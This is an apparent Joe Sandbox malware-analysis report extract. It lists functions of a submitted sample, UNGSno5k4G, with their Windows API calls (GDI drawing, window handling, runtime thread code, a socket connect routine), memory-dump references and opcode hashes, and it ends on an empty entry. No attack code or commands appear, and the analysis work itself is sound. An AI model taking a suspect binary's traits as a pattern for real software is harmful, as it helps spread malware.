                                                                                                                                                  Function 00459DCF Relevance: 7.6, APIs: 5, Instructions: 71COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • IsWindow.USER32(00000000), ref: 00459DEF
                                                                                                                                                  • GetForegroundWindow.USER32 ref: 00459E07
                                                                                                                                                  • GetDC.USER32(00000000), ref: 00459E44
                                                                                                                                                  • GetPixel.GDI32(00000000,?,00000000), ref: 00459E4F
                                                                                                                                                  • ReleaseDC.USER32(00000000,00000000), ref: 00459E8B
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Window$ForegroundPixelRelease
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 4156661090-0
                                                                                                                                                  • Opcode ID: c25ec76bf159445cc401153d518622b926736981535c7bd42fe0b2b106eefd61
                                                                                                                                                  • Instruction ID: f25aa70a507d7fb142791e963b89e5313ab4350e7ab13503248c443e15a863bf
                                                                                                                                                  • Opcode Fuzzy Hash: c25ec76bf159445cc401153d518622b926736981535c7bd42fe0b2b106eefd61
                                                                                                                                                  • Instruction Fuzzy Hash: 76219D76600202ABD700EFA5CD49A5AB7E9FF84315F19483DF90597642DB78FC04CBA9
                                                                                                                                                  Function 00464950 Relevance: 7.6, APIs: 5, Instructions: 68networkCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 004647A2: inet_addr.WSOCK32(?), ref: 004647C7
                                                                                                                                                  • socket.WSOCK32(00000002,00000001,00000006,00000000), ref: 00464985
                                                                                                                                                  • WSAGetLastError.WSOCK32(00000000,00000002,00000001,00000006,00000000), ref: 00464993
                                                                                                                                                  • connect.WSOCK32(00000000,00000000,00000010,00000002,00000001,00000006,00000000), ref: 004649CD
                                                                                                                                                  • WSAGetLastError.WSOCK32(00000000,00000000,00000000,00000010,00000002,00000001,00000006,00000000), ref: 004649F4
                                                                                                                                                  • closesocket.WSOCK32(00000000,00000000,00000000,00000000,00000000,00000010,00000002,00000001,00000006,00000000), ref: 00464A07
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ErrorLast$closesocketconnectinet_addrsocket
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 245547762-0
                                                                                                                                                  • Opcode ID: aaa03f654d2c2080970664bbc2635e6406c59b0d093f7dcd590a1c65d79e0220
                                                                                                                                                  • Instruction ID: b27d5ee258410aac5bd3077dd9c53ce90635b59006b610d0ec7ee295a05cd03d
                                                                                                                                                  • Opcode Fuzzy Hash: aaa03f654d2c2080970664bbc2635e6406c59b0d093f7dcd590a1c65d79e0220
                                                                                                                                                  • Instruction Fuzzy Hash: 3211DA712002109BD310FB2AC842F9BB3D8AF85728F04895FF594A72D2D7B9A885875A
                                                                                                                                                  Function 0044710F Relevance: 7.6, APIs: 5, Instructions: 67COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                  • ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                  • SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                  • BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                  • SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Object$Select$BeginCreateDeletePath
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2338827641-0
                                                                                                                                                  • Opcode ID: f19e52de08adcd67550c2e9faff4417be3cdd69e9125f029607893bae639c511
                                                                                                                                                  • Instruction ID: ab30216038401830d00444c504d41f25dcbf82a6e2307e0a418987ed8484b610
                                                                                                                                                  • Opcode Fuzzy Hash: f19e52de08adcd67550c2e9faff4417be3cdd69e9125f029607893bae639c511
                                                                                                                                                  • Instruction Fuzzy Hash: 7E2171B18083019FD320CF29AD44A1B7FACF74A724F14052FF654933A1EB789849CB69
                                                                                                                                                  Function 0043770A Relevance: 7.6, APIs: 5, Instructions: 56sleepCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • Sleep.KERNEL32(00000000,00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043771E
                                                                                                                                                  • QueryPerformanceCounter.KERNEL32(?,?,00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043773C
                                                                                                                                                  • Sleep.KERNEL32(00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043775C
                                                                                                                                                  • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,004448B6,0000000F,?), ref: 00437767
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CounterPerformanceQuerySleep
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2875609808-0
                                                                                                                                                  • Opcode ID: 901ea73111326f2a8af3d8a1217edfde6b6dff748f8bb26d3b0ac17b2ce0a9c5
                                                                                                                                                  • Instruction ID: fd8a8a83491f03de43ea78fbc63302b75a2fa5438857304713168bbc83ca9150
                                                                                                                                                  • Opcode Fuzzy Hash: 901ea73111326f2a8af3d8a1217edfde6b6dff748f8bb26d3b0ac17b2ce0a9c5
                                                                                                                                                  • Instruction Fuzzy Hash: EA11A3B64093119BC210EF1ADA88A8FB7F4FFD8765F004D2EF9C462250DB34D5598B9A
                                                                                                                                                  Function 004175A2 Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • __getptd.LIBCMT ref: 004175AE
                                                                                                                                                    • Part of subcall function 00416C72: __getptd_noexit.LIBCMT ref: 00416C75
                                                                                                                                                    • Part of subcall function 00416C72: __amsg_exit.LIBCMT ref: 00416C82
                                                                                                                                                  • __amsg_exit.LIBCMT ref: 004175CE
                                                                                                                                                  • __lock.LIBCMT ref: 004175DE
                                                                                                                                                  • InterlockedDecrement.KERNEL32(?), ref: 004175FB
                                                                                                                                                  • InterlockedIncrement.KERNEL32(02EA2CB8), ref: 00417626
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 4271482742-0
                                                                                                                                                  • Opcode ID: 9041076209036267701916e3e7e7a5ecd924b858c75713c79b1599e88ef874d9
                                                                                                                                                  • Instruction ID: de548182bd5f57d4f8c9f8a4c79293bfa6802d75d0085d2526eaa3c6a777046b
                                                                                                                                                  • Opcode Fuzzy Hash: 9041076209036267701916e3e7e7a5ecd924b858c75713c79b1599e88ef874d9
                                                                                                                                                  • Instruction Fuzzy Hash: 9401AD31944A11AFC710ABA998497CE7BB0BB11724F0540ABE80063791CB3CA9C1CFEE
                                                                                                                                                  Function 004555B8 Relevance: 7.5, APIs: 5, Instructions: 45windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                  • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                  • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Destroy$DeleteObjectWindow$Icon
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 4023252218-0
                                                                                                                                                  • Opcode ID: 187bd120907745c88baacffad0920a9106e1cca1ea6db424662e0a83cd01c53e
                                                                                                                                                  • Instruction ID: d1816f9fa450f538fb043821254e2bd2cfb9ade9207d957631f6d0e9d50691b6
                                                                                                                                                  • Opcode Fuzzy Hash: 187bd120907745c88baacffad0920a9106e1cca1ea6db424662e0a83cd01c53e
                                                                                                                                                  • Instruction Fuzzy Hash: 05015E70300605ABCB20DF65D9D4B2B77A8BF14712B50452AFD04D7346EB38EC48CB69
                                                                                                                                                  Function 0046032B Relevance: 7.5, APIs: 5, Instructions: 43windowtimeCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetDlgItem.USER32(?,000003E9), ref: 00460342
                                                                                                                                                  • GetWindowTextW.USER32(00000000,00000100,00000100), ref: 00460357
                                                                                                                                                  • MessageBeep.USER32(00000000), ref: 0046036D
                                                                                                                                                  • KillTimer.USER32(?,0000040A), ref: 00460392
                                                                                                                                                  • EndDialog.USER32(?,00000001), ref: 004603AB
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3741023627-0
                                                                                                                                                  • Opcode ID: 5e0545b8da8baa7cb8324f4116d33f6edaa60507eab9176a587cebaf75a8c25b
                                                                                                                                                  • Instruction ID: 48c257e0c270193328064fa19c5b46d6a870d8092b70dfec968bdaebd9a60f08
                                                                                                                                                  • Opcode Fuzzy Hash: 5e0545b8da8baa7cb8324f4116d33f6edaa60507eab9176a587cebaf75a8c25b
                                                                                                                                                  • Instruction Fuzzy Hash: BE018831500300A7E7209B54DE5DBDB77A8BF44B05F00492EB681A25D0E7F8A584CB55
                                                                                                                                                  Function 0045551F Relevance: 7.5, APIs: 5, Instructions: 42windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 0043343D: InvalidateRect.USER32(?,00000000,00000001), ref: 004334BE
                                                                                                                                                  • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                  • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                  • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Destroy$DeleteObjectWindow$IconInvalidateRect
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1042038666-0
                                                                                                                                                  • Opcode ID: 920ee65d6839c6288c76afce6441748d32e1b72318fe83d584ccefe2da360159
                                                                                                                                                  • Instruction ID: 707d1f3050e1f0ff98422ce5efa9f9a4d3559fdafbc0a23101ed238e91bf2869
                                                                                                                                                  • Opcode Fuzzy Hash: 920ee65d6839c6288c76afce6441748d32e1b72318fe83d584ccefe2da360159
                                                                                                                                                  • Instruction Fuzzy Hash: B2014B702006419BCB10AF65D9C8A2A33ACAF19322780456AFD05D7242DB28EC498B79
                                                                                                                                                  Function 0043315E Relevance: 7.5, APIs: 5, Instructions: 33COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Path$ObjectStroke$DeleteFillSelect
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2625713937-0
                                                                                                                                                  • Opcode ID: a89ec47609df172868659220a46891f09f78d761c189f4b7bb4a315096e7830c
                                                                                                                                                  • Instruction ID: 1b0d13c7bbaa275692c81ef4a4760df4fcf6218f807946f7e03cce85d1463269
                                                                                                                                                  • Opcode Fuzzy Hash: a89ec47609df172868659220a46891f09f78d761c189f4b7bb4a315096e7830c
                                                                                                                                                  • Instruction Fuzzy Hash: F7F0A4751052019BD7508F18EC0C70E7FA8FB4F325F04462EEA19932E0DB781546CBAD
                                                                                                                                                  Function 004140CF Relevance: 7.5, APIs: 5, Instructions: 24threadCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 00411A35: _doexit.LIBCMT ref: 00411A41
                                                                                                                                                  • ___set_flsgetvalue.LIBCMT ref: 004140E1
                                                                                                                                                    • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                                                                                    • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                                                                    • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                                                                                  • ___fls_getvalue@4.LIBCMT ref: 004140EC
                                                                                                                                                    • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                                                                  • ___fls_setvalue@8.LIBCMT ref: 004140FF
                                                                                                                                                    • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                                                                  • GetLastError.KERNEL32(00000000,?,00000000), ref: 00414108
                                                                                                                                                  • ExitThread.KERNEL32 ref: 0041410F
                                                                                                                                                  • GetCurrentThreadId.KERNEL32 ref: 00414115
                                                                                                                                                  • __freefls@4.LIBCMT ref: 00414135
                                                                                                                                                  • __IsNonwritableInCurrentImage.LIBCMT ref: 00414148
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Value$CurrentThread__decode_pointer$ErrorExitImageLastNonwritable___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 132634196-0
                                                                                                                                                  • Opcode ID: dbe0df41a3d89f03eebcd77cedb8c7fbd95cde8327ee68e759feca9a6a87dff2
                                                                                                                                                  • Instruction ID: c6f54ac6c47f72d6c6be617d0ab0d95393642b3a08ca47198428750b18cc63fb
                                                                                                                                                  • Opcode Fuzzy Hash: dbe0df41a3d89f03eebcd77cedb8c7fbd95cde8327ee68e759feca9a6a87dff2
                                                                                                                                                  • Instruction Fuzzy Hash: EFE0B6318012096B8F0177F28E2A8DF3A2DAD56799B12842EBF10A3112DA6DD9D147AD
                                                                                                                                                  Function 00415601 Relevance: 7.5, APIs: 5, Instructions: 23threadCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • __IsNonwritableInCurrentImage.LIBCMT ref: 00415610
                                                                                                                                                    • Part of subcall function 00418540: __FindPESection.LIBCMT ref: 0041859B
                                                                                                                                                  • __getptd_noexit.LIBCMT ref: 00415620
                                                                                                                                                  • CloseHandle.KERNEL32(?,?,0041566B), ref: 00415634
                                                                                                                                                  • __freeptd.LIBCMT ref: 0041563B
                                                                                                                                                  • ExitThread.KERNEL32 ref: 00415643
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CloseCurrentExitFindHandleImageNonwritableSectionThread__freeptd__getptd_noexit
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3798957060-0
                                                                                                                                                  • Opcode ID: d3b08fe511e09ca6ea2d918a54b62a74066439bca0a0e456eaad9824bd7e2a02
                                                                                                                                                  • Instruction ID: 5ad9b57b40d8b41da6f03c32f2a15b2799e0bbfe2e5ad1689210a27a588f1b2a
                                                                                                                                                  • Opcode Fuzzy Hash: d3b08fe511e09ca6ea2d918a54b62a74066439bca0a0e456eaad9824bd7e2a02
                                                                                                                                                  • Instruction Fuzzy Hash: 29E01A31501A1197C2212BB9AC097DE3255AF01F36F944A6EF81A952A0DB6CD98147AD
                                                                                                                                                  Function 0041567F Relevance: 7.5, APIs: 5, Instructions: 22threadCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 00411A35: _doexit.LIBCMT ref: 00411A41
                                                                                                                                                  • ___set_flsgetvalue.LIBCMT ref: 00415690
                                                                                                                                                    • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                                                                                    • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                                                                    • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                                                                                  • ___fls_getvalue@4.LIBCMT ref: 0041569B
                                                                                                                                                    • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                                                                  • ___fls_setvalue@8.LIBCMT ref: 004156AD
                                                                                                                                                    • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                                                                  • GetLastError.KERNEL32(00000000,?,00000000), ref: 004156B6
                                                                                                                                                  • ExitThread.KERNEL32 ref: 004156BD
                                                                                                                                                  • __freefls@4.LIBCMT ref: 004156D9
                                                                                                                                                  • __IsNonwritableInCurrentImage.LIBCMT ref: 004156EC
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Value$__decode_pointer$CurrentErrorExitImageLastNonwritableThread___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1537469427-0
                                                                                                                                                  • Opcode ID: 99715b5f8e2ff19c7b8f3a2e2e0a417857e73ed83bc070766e6b29f9400adc7a
                                                                                                                                                  • Instruction ID: 6f4b581ce684dac4bce1a6396b1ab204a3b2196504341234b7a244e47b3a25b0
                                                                                                                                                  • Opcode Fuzzy Hash: 99715b5f8e2ff19c7b8f3a2e2e0a417857e73ed83bc070766e6b29f9400adc7a
                                                                                                                                                  • Instruction Fuzzy Hash: 83E0E6308003096BCF0037F29E1A9DF392DAD41389B52841E7E14B2122DE6DD9D1466D
                                                                                                                                                  Function 0040AB16 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 423COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
